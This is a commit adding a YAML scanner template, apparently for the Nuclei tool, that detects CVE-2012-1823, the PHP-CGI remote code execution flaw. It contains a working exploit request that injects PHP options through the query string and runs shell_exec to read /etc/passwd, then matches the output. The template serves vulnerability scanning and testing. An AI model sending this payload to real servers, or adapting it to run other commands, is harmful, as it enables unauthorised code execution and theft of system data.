Merge pull request #2109 from pikpikcu/patch-201

Create CVE-2012-1823

cves/2012/CVE-2012-1823.yaml

@@ -0,0 +1,35 @@
+id: CVE-2012-1823
+
+info:
+  name: PHP CGI v5.3.12/5.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823
+  description: |
+    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
+  tags: rce,php,cve,cve2012
+
+requests:
+  - raw:
+      - |
+        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 31
+
+        <?php echo shell_exec("cat /etc/passwd"); ?>
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200